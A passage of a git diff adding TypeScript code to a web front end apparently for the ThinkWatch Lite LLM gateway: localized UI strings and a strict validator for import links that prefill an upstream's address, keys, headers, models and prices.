Tailwind sees them. + +const MEDIUM = { + sm: { one: "sm:col-span-1", two: "sm:col-span-2" }, + md: { one: "md:col-span-1", two: "md:col-span-2" }, +} as const; + +export function spanClass(i: number, n: number, medium: keyof typeof MEDIUM = "md"): string { + const m = MEDIUM[medium]; + // Medium: two a row; an odd count widens the last card to the full row. + const mid = n % 2 === 1 && i === n - 1 ? m.two : m.one; + // Wide: three a row (two of six columns each); a remainder of one fills the + // row, a remainder of two takes half each. + const rest = n % 3; + const inLast = i >= n - rest; + const wide = !inLast || rest === 0 ? "lg:col-span-2" : rest === 1 ? "lg:col-span-6" : "lg:col-span-3"; + return `${mid} ${wide}`; +} diff --git a/src/lib/import-link-text.ts b/src/lib/import-link-text.ts new file mode 100644 index 0000000..ebce733 --- /dev/null +++ b/src/lib/import-link-text.ts @@ -0,0 +1,175 @@ +// Words shared by the import page and the link builder: the names of the +// dialog's sections and fields as ThinkWatch Lite writes them, and the reasons a +// link is rejected. `{p}` in a problem is the parameter, written with `param` +// or, for a name that is not short and plain, `someParam`. +import { V2_SINCE, type Problem } from "./import-link"; + +export function importLinkText(zh: boolean) { + return zh + ? { + groups: { + service: "服务类型", + connection: "连接", + account: "账号", + advanced: "高级设置", + models: "模型", + billing: "计费", + }, + labels: { + service: "服务类型", + auth: "认证方式", + site: "站点", + name: "名称", + url: "接口地址", + protocol: "接口协议", + region: "区域", + key: "API 密钥", + oauthEndpoint: "Token 端点", + oauthRefresh: "Refresh Token", + oauthClientId: "Client ID", + oauthClientSecret: "Client Secret", + awsKeyId: "访问密钥 ID", + awsSecret: "私有访问密钥", + awsToken: "会话令牌", + headers: "请求头", + clientIdentity: "转发客户端身份", + concurrency: "并发上限", + balance: "余额来源", + models: "手动添加的模型", + modelsOnly: "启用范围", + specs: "模型规格", + billing: "计费方式", + priceSheet: "价目表", + priceMultiplier: "价目表倍率", + prices: "模型单价", + }, + services: { + anthropic: "Anthropic", + openai: "OpenAI", + gemini: "Google Gemini", + deepseek: "DeepSeek", + zai: "Z.ai / BigModel", + bedrock: "Amazon Bedrock", + openrouter: "OpenRouter", + thinkwatch: "ThinkWatch 企业网关", + sub2api: "Sub2API", + newapi: "New API / One API", + ollama: "Ollama", + custom: "自定义", + }, + auths: { key: "API 密钥", oauth: "OAuth", "aws-keys": "访问密钥", account: "账号登录", chatgpt: "ChatGPT 账号" }, + sites: { bigmodel: "BigModel(中国大陆)", zai: "Z.ai(国际)" }, + balances: { + off: "不读取", + openrouter: "OpenRouter", + deepseek: "DeepSeek", + moonshot: "Moonshot", + sub2api: "Sub2API", + newapi: "New API", + thinkwatch: "ThinkWatch", + }, + billings: { "per-token": "按量计费", free: "不计费" }, + needsVersion: `需要 ThinkWatch Lite ${V2_SINCE} 或更高版本。`, + param: "参数「{name}」", + someParam: "某个参数", + problems: { + empty: "链接中没有参数。", + tooLong: "链接过长。", + malformed: "链接的编码不正确。", + duplicateParam: "链接中{p}出现了多次。", + emptyValue: "链接中{p}的值为空。", + neverAccepted: "链接中的{p}属于导入链接不能设置的内容。", + invalid: "{p}的值不符合要求。", + notApplicable: "{p}不适用于此服务类型或认证方式。", + mismatch: "{p}的值与 ThinkWatch Lite 为此服务填写的值不一致。", + missing: "此服务类型或认证方式须提供{p}。", + } satisfies Record, + } + : { + groups: { + service: "Service", + connection: "Connection", + account: "Account", + advanced: "Advanced settings", + models: "Models", + billing: "Billing", + }, + labels: { + service: "Service", + auth: "Authentication", + site: "Site", + name: "Name", + url: "Base URL", + protocol: "Protocol", + region: "Region", + key: "API key", + oauthEndpoint: "Token endpoint", + oauthRefresh: "Refresh token", + oauthClientId: "Client ID", + oauthClientSecret: "Client secret", + awsKeyId: "Access key ID", + awsSecret: "Secret access key", + awsToken: "Session token", + headers: "Headers", + clientIdentity: "Forward client identity", + concurrency: "Concurrency limit", + balance: "Balance source", + models: "Models added by hand", + modelsOnly: "Enabled models", + specs: "Model specs", + billing: "Billing", + priceSheet: "Price sheet", + priceMultiplier: "Price multiplier", + prices: "Model prices", + }, + services: { + anthropic: "Anthropic", + openai: "OpenAI", + gemini: "Google Gemini", + deepseek: "DeepSeek", + zai: "Z.ai / BigModel", + bedrock: "Amazon Bedrock", + openrouter: "OpenRouter", + thinkwatch: "ThinkWatch enterprise gateway", + sub2api: "Sub2API", + newapi: "New API / One API", + ollama: "Ollama", + custom: "Custom", + }, + auths: { + key: "API key", + oauth: "OAuth", + "aws-keys": "Access keys", + account: "Account sign-in", + chatgpt: "ChatGPT account", + }, + sites: { bigmodel: "BigModel (mainland China)", zai: "Z.ai (international)" }, + balances: { + off: "Not read", + openrouter: "OpenRouter", + deepseek: "DeepSeek", + moonshot: "Moonshot", + sub2api: "Sub2API", + newapi: "New API", + thinkwatch: "ThinkWatch", + }, + billings: { "per-token": "Per token", free: "Free" }, + needsVersion: `Needs ThinkWatch Lite ${V2_SINCE} or later.`, + param: "the parameter “{name}”", + someParam: "a parameter", + problems: { + empty: "The link has no parameters.", + tooLong: "The link is too long.", + malformed: "The link is not encoded correctly.", + duplicateParam: "The link contains {p} more than once.", + emptyValue: "The link gives {p} an empty value.", + neverAccepted: "The link contains {p}, which sets something an import link can never set.", + invalid: "The value of {p} is not accepted.", + notApplicable: "The link contains {p}, which does not apply to this service or authentication method.", + mismatch: "The value of {p} differs from what ThinkWatch Lite fills in for this service.", + missing: "This service or authentication method needs {p}.", + } satisfies Record, + }; +} + +export type ImportLinkText = ReturnType; diff --git a/src/lib/import-link.ts b/src/lib/import-link.ts new file mode 100644 index 0000000..451911e --- /dev/null +++ b/src/lib/import-link.ts @@ -0,0 +1,861 @@ +// Import links for ThinkWatch Lite: `thinkwatch://import?…` and its web form +// `https://thinkwat.ch/import#…`. A relay, a vendor or a ThinkWatch Enterprise +// console hands one out to open the New upstream dialog in the app, prefilled. +// +// Version 2 of the link can set what the New upstream dialog lets a user set, +// for each service type, and nothing the dialog does not show for that service +// and authentication method. The rules mirror the app's parser +// (src-tauri/src/import_link.rs) and its presets (src/upstreams/presets.ts and +// upstreamForm.ts) in the Lite repository. The app validates every link again +// and is the authority; this copy lets the web page and the link builder reject +// a bad link before handing it on. +// +// Every value is treated as hostile: any web page can produce a link. + +export const SERVICES = [ + "anthropic", + "openai", + "gemini", + "deepseek", + "zai", + "bedrock", + "openrouter", + "thinkwatch", + "sub2api", + "newapi", + "ollama", + "custom", +] as const; +export type Service = (typeof SERVICES)[number]; + +export const AUTHS = ["key", "oauth", "account", "aws-keys"] as const; +export type Auth = (typeof AUTHS)[number]; + +export const SITES = ["bigmodel", "zai"] as const; +export type Site = (typeof SITES)[number]; + +export const PROTOCOLS = ["anthropic", "openai-chat", "openai-responses", "gemini"] as const; +export type Protocol = (typeof PROTOCOLS)[number]; + +export const BALANCES = ["off", "openrouter", "deepseek", "moonshot", "sub2api", "newapi", "thinkwatch"] as const; +export type Balance = (typeof BALANCES)[number]; + +export const BILLINGS = ["per-token", "free"] as const; +export type Billing = (typeof BILLINGS)[number]; + +/** Every parameter, in the order a link is written. */ +export const PARAMS = [ + "service", + "auth", + "site", + "name", + "url", + "protocol", + "key", + "oauth_endpoint", + "oauth_refresh", + "oauth_client_id", + "oauth_client_secret", + "region", + "aws_access_key_id", + "aws_secret_access_key", + "aws_session_token", + "headers", + "client_identity", + "concurrency", + "balance", + "models", + "models_only", + "specs", + "billing", + "price_multiplier", + "prices", +] as const; +export type Param = (typeof PARAMS)[number]; + +/** The parameters of the first version. A link with only these also opens in earlier versions of the app. */ +export const V1_PARAMS: readonly Param[] = ["name", "url", "protocol", "key", "models"]; + +/** The first version of ThinkWatch Lite that reads the other parameters. */ +export const V2_SINCE = "2026.10.16"; + +/** + * Settings a link can never carry: the outbound proxy and what happens when it is + * unavailable, an AWS profile, aliases, routes, the default upstream, weights, the + * disabled switch and the OAuth access token used only for checking. A link naming + * one is rejected, not taken for a parameter of a newer version. + */ +export const NEVER = [ + "proxy", + "on_proxy_fail", + "aws_profile", + "alias", + "aliases", + "route", + "routes", + "default", + "weight", + "disabled", + "oauth_access", +] as const; + +export const MAX_LINK = 8192; +export const MAX_NAME = 64; +export const MAX_URL = 2048; +export const MAX_KEY = 512; +export const MAX_LONG_SECRET = 4096; +export const MAX_MODEL = 128; +export const MAX_MODELS = 64; +export const MAX_HEADERS = 16; +export const MAX_HEADER_NAME = 64; +export const MAX_HEADER_VALUE = 1024; +export const MAX_CONCURRENCY = 1000; +export const MAX_SPEC_TOKENS = 10_000_000; + +const APP_PREFIX = "thinkwatch://import?"; +const LF = String.fromCharCode(10); + +/** Z.ai / BigModel: the site decides the address. */ +export const ZAI_ADDRESS: Record = { + zai: "https://api.z.ai/api/anthropic", + bigmodel: "https://open.bigmodel.cn/api/anthropic", +}; + +const BEDROCK_HOST = /^bedrock-runtime(?:-fips)?\.([a-z0-9-]+)\.amazonaws\.com$/; +export const bedrockAddress = (region: string) => `https://bedrock-runtime.${region}.amazonaws.com`; +export const DEFAULT_BEDROCK_REGION = "us-east-1"; + +/** + * What the New upstream dialog asks for each service (Lite: `PRESETS`, `fieldRules`). + * + * - `url`: `required` — the dialog has no address of its own; `own` — the service has + * one, and a `url` in the link must equal it; `any` — optional, any address + * (Bedrock: an endpoint such as a VPC endpoint; Ollama: another machine). + * - `protocol`: the choices the dialog offers, or the one it fills in by itself + * (a link may only repeat it), or null where no protocol value can be written. + */ +type ServiceRules = { + auth: readonly Auth[]; + url: "required" | "own" | "any"; + address?: string; + protocol: readonly Protocol[] | Protocol | null; + key: boolean; + clientIdentity: boolean; + billing: Billing; +}; + +const base = { auth: ["key"], key: true, clientIdentity: false, billing: "per-token" } as const; + +export const SERVICE_RULES: Record = { + anthropic: { ...base, url: "own", address: "https://api.anthropic.com", protocol: "anthropic" }, + openai: { + ...base, + auth: ["key", "account"], + url: "own", + address: "https://api.openai.com", + protocol: ["openai-chat", "openai-responses"], + }, + gemini: { ...base, url: "own", address: "https://generativelanguage.googleapis.com", protocol: "gemini" }, + deepseek: { ...base, url: "own", address: "https://api.deepseek.com/anthropic", protocol: "anthropic" }, + zai: { ...base, auth: ["key", "account"], url: "own", protocol: "anthropic" }, + bedrock: { ...base, auth: ["key", "aws-keys"], url: "any", protocol: null }, + openrouter: { ...base, url: "own", address: "https://openrouter.ai/api", protocol: "openai-chat" }, + thinkwatch: { ...base, url: "required", protocol: null }, + sub2api: { ...base, url: "required", protocol: PROTOCOLS, clientIdentity: true }, + newapi: { ...base, url: "required", protocol: PROTOCOLS, clientIdentity: true }, + ollama: { ...base, url: "any", address: "http://127.0.0.1:11434", protocol: "openai-chat", key: false, billing: "free" }, + custom: { ...base, auth: ["key", "oauth"], url: "required", protocol: PROTOCOLS, clientIdentity: true }, +}; + +/** Official hosts, recognized by host alone, the way the app's edit dialog recognizes an address. */ +const HOSTS: Record = { + "api.anthropic.com": "anthropic", + "api.openai.com": "openai", + "generativelanguage.googleapis.com": "gemini", + "api.deepseek.com": "deepseek", + "openrouter.ai": "openrouter", + "api.z.ai": "zai", + "open.bigmodel.cn": "zai", +}; + +/** The service of a link without `service`: from the address, falling back to custom. */ +export function serviceOfUrl(url: string): Service { + let u: URL; + try { + u = new URL(url); + } catch { + return "custom"; + } + const host = u.hostname.toLowerCase(); + const known = HOSTS[host]; + if (known) return known; + if (BEDROCK_HOST.test(host)) return "bedrock"; + if (u.port === "11434") return "ollama"; + return "custom"; +} + +/** The fields the New upstream dialog shows (or fills in) for a service and authentication method. */ +export function fieldsFor(service: Service, auth: Auth): Set { + const r = SERVICE_RULES[service]; + const f = new Set(["service", "auth", "name", "models", "models_only", "specs", "billing", "price_multiplier", "prices"]); + if (service === "zai") f.add("site"); + if (service === "bedrock") f.add("region"); + if (auth === "account") return f; + if (service === "custom") f.add("balance"); + f.add("url"); + f.add("headers"); + f.add("concurrency"); + if (r.protocol !== null) f.add("protocol"); + if (r.clientIdentity) f.add("client_identity"); + if (auth === "key" && r.key) f.add("key"); + if (auth === "oauth") { + for (const p of ["oauth_endpoint", "oauth_refresh", "oauth_client_id", "oauth_client_secret"] as const) f.add(p); + } + if (auth === "aws-keys") { + for (const p of ["aws_access_key_id", "aws_secret_access_key", "aws_session_token"] as const) f.add(p); + } + return f; +} + +export type Header = { name: string; value: string }; +export type Spec = { + model: string; + context?: number; + maxOutput?: number; + reasoning?: boolean; + image?: boolean; +}; +/** USD per million tokens, as written in the link. An omitted cache price is the input price. */ +export type Price = { + model: string; + input: string; + output: string; + cacheRead: string; + cacheWrite5m: string; + cacheWrite1h: string; +}; + +/** A validated import: what the New upstream dialog is prefilled with. */ +export type ImportLink = { + service: Service; + /** Recognized from `url` because the link has no `service` */ + recognized: boolean; + auth: Auth; + /** Z.ai / BigModel only */ + site?: Site; + name?: string; + /** Where requests and the key go: the link's `url` or the service's own address. Absent for an account sign-in. */ + address?: string; + /** The receiving hosts, in ASCII, with the port when there is one: the address, then the token endpoint when it differs */ + hosts: string[]; + /** Those of `hosts` reached over plain http, other than this computer */ + plainHosts: string[]; + protocol?: Protocol; + region?: string; + key?: string; + oauth?: { endpoint: string; refresh: string; clientId?: string; clientSecret?: string }; + aws?: { accessKeyId: string; secretAccessKey: string; sessionToken?: string }; + headers: Header[]; + clientIdentity: boolean; + concurrency?: number; + balance?: Balance; + models: string[]; + modelsOnly?: string[]; + specs: Spec[]; + /** As given; absent means the service's default */ + billing?: Billing; + /** Present when the link makes a new price sheet */ + priceSheet?: { multiplier: string; prices: Price[] }; + /** Uses a parameter that ThinkWatch Lite reads from V2_SINCE on */ + v2: boolean; + /** The checked parameters, normalized, in link order: what the app is handed */ + params: [Param, string][]; +}; + +export type Problem = + | "empty" + | "tooLong" + | "malformed" + | "duplicateParam" + | "emptyValue" + | "neverAccepted" + | "invalid" + | "notApplicable" + | "mismatch" + | "missing"; + +/** + * `unknown`: parameters this copy of the rules does not know. A newer app may read + * them, so the link is not rejected for them; the page says a newer ThinkWatch Lite + * is needed and still offers to open it. + */ +export type Result = + | { ok: true; link: ImportLink; unknown: [string, string][] } + | { ok: false; problem: Problem; param?: string }; + +// Zero-width and direction-changing characters, and the replacement character: +// the same set as the app's `invisible`. +const INVISIBLE: [number, number][] = [ + [0x00ad, 0x00ad], + [0x034f, 0x034f], + [0x061c, 0x061c], + [0x115f, 0x1160], + [0x17b4, 0x17b5], + [0x180b, 0x180f], + [0x200b, 0x200f], + [0x202a, 0x202e], + [0x2060, 0x206f], + [0x3164, 0x3164], + [0xfe00, 0xfe0f], + [0xfeff, 0xfeff], + [0xffa0, 0xffa0], + [0xfff0, 0xffff], +]; + +const isControl = (cp: number) => cp < 0x20 || (cp >= 0x7f && cp <= 0x9f); +const isInvisible = (cp: number) => INVISIBLE.some(([a, b]) => cp >= a && cp <= b); + +/** + * Control and invisible characters, and `$`, `{`, `}` (the app reads `${NAME}` from + * the environment). Line feeds are allowed only where a value is made of lines. + */ +function unsafe(s: string, lines = false): boolean { + for (const ch of s) { + const cp = ch.codePointAt(0)!; + if (lines && cp === 10) continue; + if (isControl(cp) || isInvisible(cp) || ch === "$" || ch === "{" || ch === "}") return true; + } + return false; +} + +/** One layer of percent-decoding, `+` is a space. A broken escape or invalid UTF-8 is an error. */ +function decode(s: string): string | null { + const out: number[] = []; + const enc = new TextEncoder(); + for (let i = 0; i < s.length; ) { + const c = s[i]; + if (c === "%") { + const hex = s.slice(i + 1, i + 3); + if (!/^[0-9A-Fa-f]{2}$/.test(hex)) return null; + out.push(parseInt(hex, 16)); + i += 3; + } else if (c === "+") { + out.push(0x20); + i += 1; + } else { + const cp = s.codePointAt(i)!; + out.push(...enc.encode(String.fromCodePoint(cp))); + i += cp > 0xffff ? 2 : 1; + } + } + try { + return new TextDecoder("utf-8", { fatal: true }).decode(new Uint8Array(out)); + } catch { + return null; + } +} + +function checkName(n: string): boolean { + return ( + [...n].length <= MAX_NAME && + n.trim() === n && + n !== "." && + n !== ".." && + !n.startsWith("__") && + !/[/\\$\{\}<>"`]/.test(n) + ); +} + +const isLoopback = (hostname: string) => hostname === "localhost" || hostname === "127.0.0.1" || hostname === "[::1]"; + +const PRIVATE_V4: [number, number, number][] = [ + // first octet, second octet from, second octet to + [10, 0, 255], + [172, 16, 31], + [192, 168, 168], + [100, 64, 127], + [169, 254, 254], +]; +const PRIVATE_SUFFIXES = [".local", ".lan", ".internal", ".intranet", ".corp", ".home.arpa", ".localhost"]; + +/** + * A host on this computer or a private network, where plain `http://` is accepted: + * loopback, private IPv4 ranges (10/8, 172.16/12, 192.168/16, 100.64/10, 169.254/16), + * unique-local and link-local IPv6 (fc00::/7, fe80::/10), names without a dot, and + * names under the intranet-style suffixes. `hostname` is as `URL` gives it: lowercase, + * IPv4 in dotted decimal, IPv6 in brackets and compressed. + */ +export function onLocalNetwork(hostname: string): boolean { + if (isLoopback(hostname)) return true; + const v4 = /^(\d+)\.(\d+)\.\d+\.\d+$/.exec(hostname); + if (v4) { + const [a, b] = [Number(v4[1]), Number(v4[2])]; + return PRIVATE_V4.some(([first, from, to]) => a === first && b >= from && b <= to); + } + if (hostname.startsWith("[")) { + const head = hostname.slice(1).split(":")[0]; + const first = head ? parseInt(head, 16) : 0; + return (first & 0xfe00) === 0xfc00 || (first & 0xffc0) === 0xfe80; + } + return !hostname.includes(".") || PRIVATE_SUFFIXES.some((x) => hostname.endsWith(x)); +} + +/** A plain `http://` address that is not on this computer: the key and requests travel unencrypted. */ +export function plainHttp(url: string): boolean { + const u = new URL(url); + return u.protocol === "http:" && !isLoopback(u.hostname); +} + +/** + * An https address without credentials, query or fragment; plain http only for this + * computer and private networks (`onLocalNetwork`). + */ +function checkUrl(raw: string, keepPath = false): { url: string; host: string } | null { + if (raw.length > MAX_URL || /[\s\\$\{\}%"<>`^|@#?]/.test(raw)) return null; + const lower = raw.slice(0, 8).toLowerCase(); + if (!lower.startsWith("https://") && !lower.startsWith("http://")) return null; + let u: URL; + try { + u = new URL(raw); + } catch { + return null; + } + if (u.username || u.password || u.search || u.hash || !u.hostname) return null; + if (u.protocol !== "https:" && !(u.protocol === "http:" && onLocalNetwork(u.hostname))) return null; + // `URL` gives the host in ASCII: an internationalized name comes out as punycode. + if (!/^[\x21-\x7E]+$/.test(u.host)) return null; + const url = keepPath ? u.href : u.href.replace(/\/+$/, ""); + if (url.length > MAX_URL) return null; + return { url, host: u.host }; +} + +/** Only characters that keys use. */ +const keyLike = (k: string, max: number) => k.length <= max && /^[A-Za-z0-9\-_.~+/=:]+$/.test(k); + +const MODEL_ID = /^[A-Za-z0-9\-_.:/@+]+$/; +const MODEL_GLOB = /^[A-Za-z0-9\-_.:/@+*?]+$/; + +function checkModelList(m: string, pattern: RegExp): string[] | null { + const out: string[] = []; + for (const id of m.split(",")) { + if (!id || id.length > MAX_MODEL || !pattern.test(id)) return null; + if (!out.includes(id)) out.push(id); + } + return out.length > MAX_MODELS ? null : out; +} + +/** RFC 7230 token characters. */ +const TOKEN = /^[!#%&'*+\-.^_`|~0-9A-Za-z]+$/; +const DENIED_HEADERS = new Set([ + "authorization", + "proxy-authorization", + "x-api-key", + "x-goog-api-key", + "api-key", + "cookie", + "host", + "content-length", + "content-type", + "content-encoding", + "transfer-encoding", + "connection", + "keep-alive", + "upgrade", + "te", + "trailer", + "user-agent", +]); + +export const deniedHeader = (name: string) => { + const n = name.toLowerCase(); + return DENIED_HEADERS.has(n) || n.startsWith("proxy-") || n.startsWith("sec-"); +}; + +function checkHeaders(v: string): Header[] | null { + const out: Header[] = []; + const lines = v.split(LF); + if (lines.length > MAX_HEADERS) return null; + for (const line of lines) { + const i = line.indexOf(":"); + if (i <= 0) return null; + const name = line.slice(0, i); + const value = line.slice(i + 1).trim(); + if (name.length > MAX_HEADER_NAME || !TOKEN.test(name) || deniedHeader(name)) return null; + if (!value || value.length > MAX_HEADER_VALUE || !/^[\x20-\x7E]+$/.test(value)) return null; + if (out.some((h) => h.name.toLowerCase() === name.toLowerCase())) return null; + out.push({ name, value }); + } + return out; +} + +const tokens = (s: string) => /^[1-9][0-9]*$/.test(s) && Number(s) <= MAX_SPEC_TOKENS; +const yesNo = (s: string) => s === "y" || s === "n"; + +function checkSpecs(v: string): Spec[] | null { + const out: Spec[] = []; + const entries = v.split(";"); + if (entries.length > MAX_MODELS) return null; + for (const e of entries) { + const f = e.split("|"); + if (f.length !== 5) return null; + const [model, context, maxOutput, reasoning, image] = f as [string, string, string, string, string]; + if (!model || model.length > MAX_MODEL || !MODEL_ID.test(model)) return null; + if (out.some((s) => s.model === model)) return null; + if (context && !tokens(context)) return null; + if (maxOutput && !tokens(maxOutput)) return null; + if (reasoning && !yesNo(reasoning)) return null; + if (image && !yesNo(image)) return null; + if (!context && !maxOutput && !reasoning && !image) return null; + out.push({ + model, + context: context ? Number(context) : undefined, + maxOutput: maxOutput ? Number(maxOutput) : undefined, + reasoning: reasoning ? reasoning === "y" : undefined, + image: image ? image === "y" : undefined, + }); + } + return out; +} + +const PRICE = /^\d{1,6}(\.\d{1,6})?$/; + +/** `model|input|output|cache_read|cache_write_5m|cache_write_1h`; the cache prices may be empty or left out. */ +function checkPrices(v: string): Price[] | null { + const out: Price[] = []; + const entries = v.split(";"); + if (entries.length > MAX_MODELS) return null; + for (const e of entries) { + const f = e.split("|"); + if (f.length < 3 || f.length > 6) return null; + const [model, input, output, cacheRead = "", w5 = "", w1 = ""] = f as string[]; + if (!model || model.length > MAX_MODEL || !MODEL_ID.test(model)) return null; + if (out.some((p) => p.model === model)) return null; + if (!PRICE.test(input!) || !PRICE.test(output!)) return null; + for (const c of [cacheRead, w5, w1]) if (c && !PRICE.test(c)) return null; + out.push({ + model, + input: input!, + output: output!, + cacheRead: cacheRead || input!, + cacheWrite5m: w5 || input!, + cacheWrite1h: w1 || input!, + }); + } + return out; +} + +function checkMultiplier(v: string): boolean { + if (!/^\d{1,3}(\.\d{1,6})?$/.test(v)) return false; + const n = Number(v); + return n > 0 && n <= 100; +} + +type Fail = { ok: false; problem: Problem; param?: string }; +const fail = (problem: Problem, param?: string): Fail => ({ ok: false, problem, param }); +const includes = (list: readonly T[], v: string): v is T => (list as readonly string[]).includes(v); + +/** + * Splits and decodes the parameters of a link: the fragment of the web form, or + * the query of the app link. Each parameter at most once, no empty values. + */ +export function splitParams(query: string): { ok: true; params: Map } | Fail { + if (APP_PREFIX.length + query.length > MAX_LINK) return fail("tooLong"); + if (!query) return fail("empty"); + if (query.includes("#")) return fail("malformed"); + const params = new Map(); + for (const pair of query.split("&")) { + const i = pair.indexOf("="); + if (i < 0) return fail("malformed"); + const k = decode(pair.slice(0, i)); + const v = decode(pair.slice(i + 1)); + if (k === null || v === null) return fail("malformed"); + if (params.has(k)) return fail("duplicateParam", k); + if (v === "") return fail("emptyValue", k); + params.set(k, v); + } + return { ok: true, params }; +} + +/** Validates the parameters of a link. */ +export function parseParams(query: string): Result { + const split = splitParams(query); + return split.ok ? validateParams(split.params) : split; +} + +/** + * Validates decoded parameters: the parsed link, or the values entered in the link + * builder. The first problem found is returned, in parameter order. + * + * Without `service`, the service is the one the address is recognized as, as long + * as every parameter fits it; otherwise the link is a custom upstream, which takes + * every parameter. So a link written for the first version, such as an official + * address with another path, stays valid as it was. An explicit `service` is strict. + */ +export function validateParams(input: Map): Result { + const unknown: [string, string][] = []; + for (const [k, v] of input) { + if (includes(NEVER, k)) return fail("neverAccepted", k); + if (v === "") return fail("emptyValue", k); + if (unsafe(v, k === "headers")) return fail("invalid", k); + if (!includes(PARAMS, k)) unknown.push([k, v]); + } + + const rawService = input.get("service"); + const rawUrl = input.get("url"); + let url: { url: string; host: string } | null = null; + if (rawUrl !== undefined) { + url = checkUrl(rawUrl); + if (!url) return fail("invalid", "url"); + } + if (rawService !== undefined) { + if (!includes(SERVICES, rawService)) return fail("invalid", "service"); + return validateFor(input, rawService, false, url, unknown); + } + if (!url) return fail("missing", "url"); + const recognized = serviceOfUrl(url.url); + const r = validateFor(input, recognized, true, url, unknown); + return r.ok || recognized === "custom" ? r : validateFor(input, "custom", true, url, unknown); +} + +/** Validates the parameters for one service. `recognized`: the link has no `service`. */ +function validateFor( + input: Map, + service: Service, + recognized: boolean, + url: { url: string; host: string } | null, + unknown: [string, string][], +): Result { + const get = (p: Param) => input.get(p); + const out: [Param, string][] = []; + const put = (p: Param, v: string | undefined) => { + if (v !== undefined) out.push([p, v]); + }; + const rules = SERVICE_RULES[service]; + + // Authentication method + const rawAuth = get("auth"); + if (rawAuth !== undefined && !includes(AUTHS, rawAuth)) return fail("invalid", "auth"); + const auth: Auth = (rawAuth as Auth | undefined) ?? "key"; + if (!rules.auth.includes(auth)) return fail("notApplicable", "auth"); + const fields = fieldsFor(service, auth); + for (const p of PARAMS) if (input.has(p) && !fields.has(p)) return fail("notApplicable", p); + + // Site (Z.ai / BigModel): from the link, else from the address, else BigModel + let site: Site | undefined; + if (service === "zai") { + const rawSite = get("site"); + if (rawSite !== undefined && !includes(SITES, rawSite)) return fail("invalid", "site"); + const fromUrl = url ? (Object.keys(ZAI_ADDRESS) as Site[]).find((s) => ZAI_ADDRESS[s] === url!.url) : undefined; + if (url && !fromUrl) return fail("mismatch", "url"); + if (rawSite !== undefined && fromUrl && rawSite !== fromUrl) return fail("mismatch", "site"); + site = (rawSite as Site | undefined) ?? fromUrl ?? "bigmodel"; + } + + // Address + let address: string | undefined; + let region: string | undefined; + const rawRegion = get("region"); + if (rawRegion !== undefined && !/^[a-z0-9-]{1,32}$/.test(rawRegion)) return fail("invalid", "region"); + if (auth !== "account") { + if (service === "zai") address = ZAI_ADDRESS[site!]; + else if (rules.url === "own") { + if (url && url.url !== rules.address) return fail("mismatch", "url"); + address = rules.address; + } else if (rules.url === "required") { + if (!url) return fail("missing", "url"); + address = url.url; + } else if (service === "bedrock") { + // A standard Bedrock address carries its region; the dialog asks for a signing + // region only for another address when it signs requests (access keys). + const inUrl = url ? BEDROCK_HOST.exec(new URL(url.url).hostname)?.[1] : undefined; + if (url && !inUrl) { + if (rawRegion !== undefined && auth === "key") return fail("notApplicable", "region"); + region = rawRegion; + address = url.url; + } else { + if (inUrl && rawRegion !== undefined && rawRegion !== inUrl) return fail("mismatch", "region"); + region = inUrl ?? rawRegion ?? DEFAULT_BEDROCK_REGION; + address = url ? url.url : bedrockAddress(region); + } + } else address = url?.url ?? rules.address; + } + + // Protocol: only where the dialog offers a choice; a value it fills in by itself may only be repeated + const rawProtocol = get("protocol"); + let protocol: Protocol | undefined; + if (rawProtocol !== undefined) { + if (!includes(PROTOCOLS, rawProtocol)) return fail("invalid", "protocol"); + const allowed = rules.protocol; + const ok = typeof allowed === "string" ? rawProtocol === allowed : allowed !== null && allowed.includes(rawProtocol); + if (!ok) return fail("mismatch", "protocol"); + protocol = rawProtocol; + } + + const name = get("name"); + if (name !== undefined && !checkName(name)) return fail("invalid", "name"); + + const key = get("key"); + if (key !== undefined && !keyLike(key, MAX_KEY)) return fail("invalid", "key"); + + let oauth: ImportLink["oauth"]; + if (auth === "oauth") { + const e = get("oauth_endpoint"); + if (e === undefined) return fail("missing", "oauth_endpoint"); + const endpoint = checkUrl(e, true); + if (!endpoint) return fail("invalid", "oauth_endpoint"); + const refresh = get("oauth_refresh"); + if (refresh === undefined) return fail("missing", "oauth_refresh"); + if (!keyLike(refresh, MAX_LONG_SECRET)) return fail("invalid", "oauth_refresh"); + const clientId = get("oauth_client_id"); + if (clientId !== undefined && !keyLike(clientId, MAX_KEY)) return fail("invalid", "oauth_client_id"); + const clientSecret = get("oauth_client_secret"); + if (clientSecret !== undefined && !keyLike(clientSecret, MAX_KEY)) return fail("invalid", "oauth_client_secret"); + oauth = { endpoint: endpoint.url, refresh, clientId, clientSecret }; + } + + let aws: ImportLink["aws"]; + if (auth === "aws-keys") { + const id = get("aws_access_key_id"); + if (id === undefined) return fail("missing", "aws_access_key_id"); + if (!/^[A-Z0-9]{16,128}$/.test(id)) return fail("invalid", "aws_access_key_id"); + const secret = get("aws_secret_access_key"); + if (secret === undefined) return fail("missing", "aws_secret_access_key"); + if (!keyLike(secret, MAX_KEY)) return fail("invalid", "aws_secret_access_key"); + const token = get("aws_session_token"); + if (token !== undefined && !keyLike(token, MAX_LONG_SECRET)) return fail("invalid", "aws_session_token"); + aws = { accessKeyId: id, secretAccessKey: secret, sessionToken: token }; + } + + let headers: Header[] = []; + const rawHeaders = get("headers"); + if (rawHeaders !== undefined) { + const h = checkHeaders(rawHeaders); + if (!h) return fail("invalid", "headers"); + headers = h; + } + + const clientIdentity = get("client_identity"); + if (clientIdentity !== undefined && clientIdentity !== "on") return fail("invalid", "client_identity"); + + const rawConcurrency = get("concurrency"); + let concurrency: number | undefined; + if (rawConcurrency !== undefined) { + if (!/^[1-9][0-9]{0,3}$/.test(rawConcurrency) || Number(rawConcurrency) > MAX_CONCURRENCY) + return fail("invalid", "concurrency"); + concurrency = Number(rawConcurrency); + } + + const balance = get("balance"); + if (balance !== undefined && !includes(BALANCES, balance)) return fail("invalid", "balance"); + + let models: string[] = []; + const rawModels = get("models"); + if (rawModels !== undefined) { + const m = checkModelList(rawModels, MODEL_ID); + if (!m) return fail("invalid", "models"); + models = m; + } + let modelsOnly: string[] | undefined; + const rawOnly = get("models_only"); + if (rawOnly !== undefined) { + const m = checkModelList(rawOnly, MODEL_GLOB); + if (!m) return fail("invalid", "models_only"); + modelsOnly = m; + } + let specs: Spec[] = []; + const rawSpecs = get("specs"); + if (rawSpecs !== undefined) { + const s = checkSpecs(rawSpecs); + if (!s) return fail("invalid", "specs"); + specs = s; + } + + const billing = get("billing"); + if (billing !== undefined && !includes(BILLINGS, billing)) return fail("invalid", "billing"); + const multiplier = get("price_multiplier"); + const rawPrices = get("prices"); + let priceSheet: ImportLink["priceSheet"]; + if 